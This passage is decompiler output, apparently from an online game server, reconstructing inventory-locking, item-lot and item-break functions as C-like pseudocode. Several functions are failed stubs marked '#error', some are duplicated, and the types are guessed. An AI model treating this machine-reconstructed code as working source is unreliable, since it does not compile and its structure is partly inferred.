AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_LinktoItem : List Full", 0); LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); return; } *(_WORD *)v7 = index; *(_QWORD *)(v7 + 16) = *(_QWORD *)&from; *(_QWORD *)(v7 + 24) = *(_QWORD *)&from.ItemID; *(_QWORD *)(v7 + 32) = *(_QWORD *)&to; *(_QWORD *)(v7 + 40) = *(_QWORD *)&to.ItemID; memcpy((void *)(v7 + 48), &changeiteminfo, 0x6Cu); *(_WORD *)(v7 + 156) = *(_WORD *)((char *)&changeiteminfo.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng; *(_BYTE *)(v7 + 158) = BYTE3(changeiteminfo.iti_itemstruct.itemattr.binditem.portal[9].y); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); } //----- (00464000) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, InventoryLocking::LockedCell *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xA0u); return 1; } // 464015: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00464030) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemLotAnalyser::LotChanger *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = *(_DWORD *)&ele->item; *(_DWORD *)(v3 + 4) = ele->delta; return 1; } // 464046: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00464060) -------------------------------------------------------- void __thiscall ItemLotAnalyser::LotAnalyser::la_Store(ItemLotAnalyser::LotAnalyser *this, ITEM_INVEN *inven, ItemInventoryCell *cell, int delta) { ItemLotAnalyser::LotAnalyser *v4; // esi@1 unsigned __int16 v5; // cx@1 int v6; // ebx@3 int v7; // eax@4 int v8; // eax@7 ItemLotAnalyser::LotChanger key; // [sp+Ch] [bp-2Ch]@3 int (__stdcall **lss)(int, __int16); // [sp+14h] [bp-24h]@4 ItemLotAnalyser::LotAnalyser *v11; // [sp+18h] [bp-20h]@4 int (__thiscall *v12)(ItemLotAnalyser::LotChanger *, List *, unsigned __int16, ItemLotAnalyser::LotChanger *); // [sp+1Ch] [bp-1Ch]@4 ItemLotAnalyser::LotChanger *v13; // [sp+20h] [bp-18h]@4 int v14; // [sp+24h] [bp-14h]@4 __int16 v15; // [sp+28h] [bp-10h]@4 int v16; // [sp+34h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemLotAnalyser::ItemLotAnalyser::ila_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = inven->Inven; v16 = 0; if ( (v5 & 0xFC00) == 9216 ) { v6 = delta * ((int (__stdcall *)(SHINE_ITEM_STRUCT *))cell->iic_AttrProc->vfptr->iac_GetLot)(&cell->iic_Item.iti_itemstruct); key.item = cell->iic_Item.iti_itemstruct.itemid; if ( key.item != -1 ) { lss = &ListSearchSame::_vftable_; v11 = v4; v12 = HuntLog::MobHuntElement::mhe_Compare; v13 = &key; v14 = 0; v15 = -1; LOBYTE(v16) = 1; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&lss); HIWORD(v7) = HIWORD(v14); if ( v14 ) { *(_DWORD *)(v14 + 4) += v6; } else { LOWORD(v7) = v4->baseclass_0.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = (int)v4->baseclass_0.vfptr->l_AllocA((List *)v4, v7); if ( v8 ) *(_DWORD *)(v8 + 4) = v6; else AssertClass::ac_AssertFail(&shineassert, "ItemLotAnalyser::ItemLotAnalyser::ila_Store : List leck", 0); } lss = &ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); } else { --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); } } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004641E0) -------------------------------------------------------- #error "4641E0: undefined or illegal type '#331' (funcsize=59)" //----- (004642E0) -------------------------------------------------------- #error "4642E0: undefined or illegal type '#331' (funcsize=55)" //----- (004643C0) -------------------------------------------------------- #error "4643C0: undefined or illegal type '#331' (funcsize=353)" //----- (004648A0) -------------------------------------------------------- #error "4648A0: undefined or illegal type '#331' (funcsize=69)" //----- (004649B0) -------------------------------------------------------- #error "4649B0: undefined or illegal type '#331' (funcsize=82)" //----- (00464AC0) -------------------------------------------------------- #error "464AC0: undefined or illegal type '#331' (funcsize=186)" //----- (00464D30) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // edx@1 char result; // al@2 int v6; // eax@3 ListStruct *v7; // edx@3 unsigned __int16 v8; // si@3 int v9; // ebp@3 unsigned __int16 v10; // bx@3 int v11; // eax@5 unsigned __int16 v12; // di@5 bool v13; // cf@5 InventoryLocking::LockedCell *v14; // ecx@7 InventoryLocking::LockedCell *v15; // ecx@12 InventoryLocking::LockedCell *v16; // ecx@18 int v17; // eax@22 char v18; // cl@22 int v19; // eax@22 int v20; // eax@23 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; if ( v3->icll_AllLock ) { funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 1; } else { v6 = v3->icll_List.l_Finger.store; v7 = v3->icll_List.l_Array; v8 = v3->icll_List.l_MaxSize; v9 = type; v10 = v7[v6].ls_Next; while ( v10 < v8 ) { v11 = v10; v12 = v10; v13 = v10 < v8; v10 = v7[v10].ls_Next; if ( v13 && v7[v11].ls_IsActiv ) v14 = v7[v11].ls_Content; else v14 = 0; if ( (unsigned int)v14->lc_InvenLocCurrent.Inven >> 10 == v9 ) { if ( v12 < v8 && v7[v11].ls_IsActiv ) v15 = v7[v11].ls_Content; else v15 = 0; if ( (v15->lc_InvenLocCurrent.Inven & 0x3FF) == slot ) { LABEL_26: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return 1; } v9 = type; } if ( v12 < v8 && v7[v11].ls_IsActiv ) v16 = v7[v11].ls_Content; else v16 = 0; if ( (unsigned int)v16->lc_InvenLocExchange.Inven >> 10 == v9 ) { if ( v12 < v8 && (v17 = 3 * v11, v18 = v7[4 * v17 / 0xCu].ls_IsActiv, v19 = (int)&v7[4 * v17 / 0xCu], v18) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( (*(_WORD *)(v20 + 10) & 0x3FF) == slot ) goto LABEL_26; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 0; } return result; } //----- (00464F10) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot, unsigned __int16 ignore) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // edx@1 char result; // al@2 int v7; // eax@3 ListStruct *v8; // edx@3 unsigned __int16 v9; // si@3 unsigned __int16 v10; // bx@3 int v11; // eax@5 unsigned __int16 v12; // di@5 bool v13; // cf@5 InventoryLocking::LockedCell *v14; // ecx@7 InventoryLocking::LockedCell *v15; // ecx@12 InventoryLocking::LockedCell *v16; // ecx@17 InventoryLocking::LockedCell *v17; // ecx@22 int v18; // eax@26 char v19; // cl@26 int v20; // eax@26 int v21; // eax@27 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v5 = funcallanalizer.fca_stackpoint++ + 1; if ( v4->icll_AllLock ) { funcallanalizer.fca_stackpoint = v5 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 1; } else { v7 = v4->icll_List.l_Finger.store; v8 = v4->icll_List.l_Array; v9 = v4->icll_List.l_MaxSize; v10 = v8[v7].ls_Next; while ( v10 < v9 ) { v11 = v10; v12 = v10; v13 = v10 < v9; v10 = v8[v10].ls_Next; if ( v13 && v8[v11].ls_IsActiv ) v14 = v8[v11].ls_Content; else v14 = 0; if ( v14->lc_Index != ignore ) { v15 = v12 < v9 && v8[v11].ls_IsActiv ? v8[v11].ls_Content : 0; if ( (unsigned int)v15->lc_InvenLocCurrent.Inven >> 10 == type && (v12 >= v9 || !v8[v11].ls_IsActiv ? (v16 = 0) : (v16 = v8[v11].ls_Content), (v16->lc_InvenLocCurrent.Inven & 0x3FF) == slot) || (v12 >= v9 || !v8[v11].ls_IsActiv ? (v17 = 0) : (v17 = v8[v11].ls_Content), (unsigned int)v17->lc_InvenLocExchange.Inven >> 10 == type && (v12 >= v9 || (v18 = 3 * v11, v19 = v8[4 * v18 / 0xCu].ls_IsActiv, v20 = (int)&v8[4 * v18 / 0xCu], !v19) ? (v21 = 0) : (v21 = *(_DWORD *)v20), (*(_WORD *)(v21 + 10) & 0x3FF) == slot)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return 1; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 0; } return result; } //----- (00465110) -------------------------------------------------------- #error "465110: undefined or illegal type '#440' (funcsize=86)" //----- (00465240) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, int inventype, int invenslot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 ListStruct *v4; // edx@1 unsigned __int16 v5; // bp@1 int v6; // ecx@1 unsigned __int16 v7; // si@1 int v8; // eax@3 unsigned __int16 v9; // bx@3 bool v10; // cf@3 InventoryLocking::LockedCell *v11; // edi@5 int v12; // eax@9 char v13; // bl@9 int v14; // eax@9 int v15; // eax@10 int lt; // [sp+14h] [bp-18h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_Free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_Free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->icll_List.l_Array; v5 = v3->icll_List.l_MaxSize; v6 = (int)&v3->icll_List; v7 = v4[v3->icll_List.l_Finger.store].ls_Next; while ( v7 < v5 ) { v8 = v7; v9 = v7; v10 = v7 < v5; v7 = v4[v7].ls_Next; LOWORD(lt) = v9; if ( v10 && v4[v8].ls_IsActiv ) v11 = v4[v8].ls_Content; else v11 = 0; if ( (unsigned int)v11->lc_InvenLocCurrent.Inven >> 10 == inventype ) { if ( v9 < v5 && (v12 = 3 * v8, v13 = v4[4 * v12 / 0xCu].ls_IsActiv, v14 = (int)&v4[4 * v12 / 0xCu], v13) ) v15 = *(_DWORD *)v14; else v15 = 0; if ( (*(_WORD *)(v15 + 8) & 0x3FF) == invenslot ) { HIWORD(lt) = v7; (*(void (__stdcall **)(int))(*(_DWORD *)v6 + 8))(lt); goto LABEL_15; } } } AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_Free : No Releaser Free - LockIndex maybe wrong", 0); LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_Free"); } //----- (00465380) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLock(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // ebx@1 char result; // al@2 unsigned __int16 v3; // si@3 unsigned __int16 v4; // di@4 ListStruct *v5; // ecx@5 int v6; // eax@5 bool v7; // cf@5 int v8; // eax@6 int v9; // eax@7 v1 = this; if ( this->icll_AllLock ) { result = 1; } else { v3 = this->icll_List.l_Array[this->icll_List.l_Finger.store].ls_Next; while ( 1 ) { v4 = v1->icll_List.l_MaxSize; if ( v3 >= v4 ) break; v5 = v1->icll_List.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( v7 && (v8 = (int)&v5[v6], *(_BYTE *)(v8 + 8)) ) v9 = *(_DWORD *)v8; else v9 = 0; if ( !(unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v9 + 4) + 8))() ) return 1; } result = 0; } return result; } //----- (004653F0) -------------------------------------------------------- InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLockList::icl_ReservedQuantity(InventoryLocking::InventoryCellLockList *this, InventoryLocking::ReservedQuantity *reserv) { InventoryLocking::InventoryCellLockList *v2; // esi@1 InventoryLocking::ReservedQuantity *v3; // ebx@1 unsigned __int16 v4; // di@1 unsigned __int16 v5; // cx@2 ListStruct *v6; // edx@3 int v7; // eax@3 unsigned __int16 v8; // bx@3 bool v9; // cf@3 InventoryLocking::LockedCell *v10; // ebp@5 InventoryLocking::InvenCellReleaser *v11; // ebp@7 int v12; // ecx@8 char v13; // al@8 int v14; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = reserv; InventoryLocking::InventoryCellLock::icl_ReservedQuantity(&v2->baseclass_0, reserv); v4 = v2->icll_List.l_Array[v2->icll_List.l_Finger.store].ls_Next; while ( 1 ) { v5 = v2->icll_List.l_MaxSize; if ( v4 >= v5 ) break; v6 = v2->icll_List.l_Array; v7 = v4; v8 = v4; v9 = v4 < v5; v4 = v6[v4].ls_Next; if ( v9 && v6[v7].ls_IsActiv ) v10 = v6[v7].ls_Content; else v10 = 0; v11 = v10->lc_Releaser; if ( v8 < v5 && (v12 = 3 * v7, v13 = v6[v7].ls_IsActiv, v14 = (int)&v6[4 * v12 / 0xCu], v13) ) { v3 = reserv; v11->vfptr->icr_Reserv(v11, reserv, *(InventoryLocking::LockedCell **)v14); } else { v3 = reserv; v11->vfptr->icr_Reserv(v11, reserv, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"); return v3; } //----- (00465510) -------------------------------------------------------- #error "465510: undefined or illegal type '#331' (funcsize=57)" //----- (004655F0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00465640) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00465760) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00465880) -------------------------------------------------------- #error "465880: undefined or illegal type '#331' (funcsize=171)" //----- (00465AE0) -------------------------------------------------------- void __thiscall ItemLotAnalyser::LotAnalyser::LotAnalyser(ItemLotAnalyser::LotAnalyser *this) { ItemLotAnalyser::LotAnalyser *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 ItemLotAnalyser::LotChanger *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 ItemLotAnalyser::LotChanger *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 ItemLotAnalyser::LotChanger *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ItemLotAnalyser::LotChanger *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 ItemLotAnalyser::LotChanger *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x64u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->la_Array[1]; v5 = 20; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00465BC0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::InventoryCellLockList(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // edi@1 char *v2; // esi@1 signed int v3; // edx@1 signed int v4; // ecx@1 int v5; // eax@1 int v6; // edi@3 int v7; // ebp@3 int v8; // edi@3 int v9; // edi@6 int v10; // ebp@6 int v11; // edi@6 int v12; // edi@9 int v13; // ebp@9 int v14; // edi@9 int v15; // edi@12 int v16; // ebp@12 int v17; // edi@12 int v18; // edi@15 int v19; // ebp@15 int v20; // edi@15 signed int v21; // [sp+10h] [bp-14h]@1 v1 = this; v2 = (char *)&this->icll_List; this->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLockList::_vftable_; this->icll_List.vfptr = (ListVtbl *)List::_vftable_; this->icll_List.l_ListArray = 0; List::l_MakeList(&this->icll_List, 0x32u); v3 = 2; v4 = 36; v5 = (int)v1->icll_Array; v21 = 10; do { *(_DWORD *)(v5 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5; } *(_DWORD *)(v5 + 164) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5 + 160; } *(_DWORD *)(v5 + 324) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5 + 320; } *(_DWORD *)(v5 + 484) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 480; } *(_DWORD *)(v5 + 644) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 + 2 < *((_WORD *)v2 + 2) ) { v18 = *((_DWORD *)v2 + 2); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 640; } v4 += 60; v3 += 5; v5 += 800; --v21; } while ( v21 ); } // 5A72B0: using guessed type int (__stdcall *List_InventoryLocking__LockedCell____vftable_[3])(__int16 hnd); // 5A77B8: using guessed type int (__stdcall *InventoryLocking__InventoryCellLockList___vftable_)(int inven, __int16 ignore); // 5FCB58: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (00465D10) -------------------------------------------------------- const char *__thiscall ShineScript::ss_String(ShineScript *this, char *scriptindex) { OptionReader *v2; // esi@1 const char *result; // eax@1 ORToken v4; // [sp-1Ch] [bp-24h]@1 int v5; // [sp-18h] [bp-20h]@1 int v6; // [sp-14h] [bp-1Ch]@1 int v7; // [sp-10h] [bp-18h]@1 int v8; // [sp-Ch] [bp-14h]@1 char *v9; // [sp-8h] [bp-10h]@1 int *v10; // [sp-4h] [bp-Ch]@1 v10 = (int *)&scriptindex; v2 = (OptionReader *)this; v9 = scriptindex; scriptindex = (char *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, "Script", 0x14u); result = (const char *)OptionReader::or_Select(v2, "ScrString", v4, v9, v10); if ( scriptindex != (char *)2 || !result ) result = byte_59A24E; return result; } //----- (00465D70) -------------------------------------------------------- void __usercall itembreakmenu(#440 *sp, char *str, void (__thiscall *ok)(ServerMenuFuncter *, #440 *, ServerMenuArgument *), void (__thiscall *cancel)(ServerMenuFuncter *, #440 *, ServerMenuArgument *), ServerMenuArgument *argument) { const char *v5; // eax@1 const char *v6; // ST10_4@1 const char *v7; // eax@1 void *v8; // eax@1 ServerMenuArgument itemcancel; // [sp+8h] [bp-D8h]@1 ServerMenuArgument itembreak; // [sp+70h] [bp-70h]@1 memcpy(&itemcancel, argument, 0x68u); memcpy(&itembreak, argument, 0x68u); v5 = ShineScript::ss_String(&shinescriptmenusting, str); ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)sp, v5); v6 = ShineScript::ss_String(&shinescriptetc, "ButtonCancel"); v7 = ShineScript::ss_String(&shinescriptetc, "ButtonOK"); v8 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem((void *)sp, ok, v7, &itembreak); ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v8, cancel, v6, &itemcancel); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen((void *)sp, 0, -1, 0, 1000); } //----- (00465E30) -------------------------------------------------------- #error "465E30: undefined or illegal type '#440' (funcsize=10)" //----- (00465E50) -------------------------------------------------------- #error "465E50: undefined or illegal type '#440' (funcsize=175)" //----- (004660D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess(void *this, int suc) { void *v2; // esi@1 int v3; // eax@1 DebugLogging *v4; // edi@2 _iobuf *v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 24))( v3, v2, *(_WORD *)(suc + 6), 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); } (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 772))(v2, 12, 36); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004661F0) 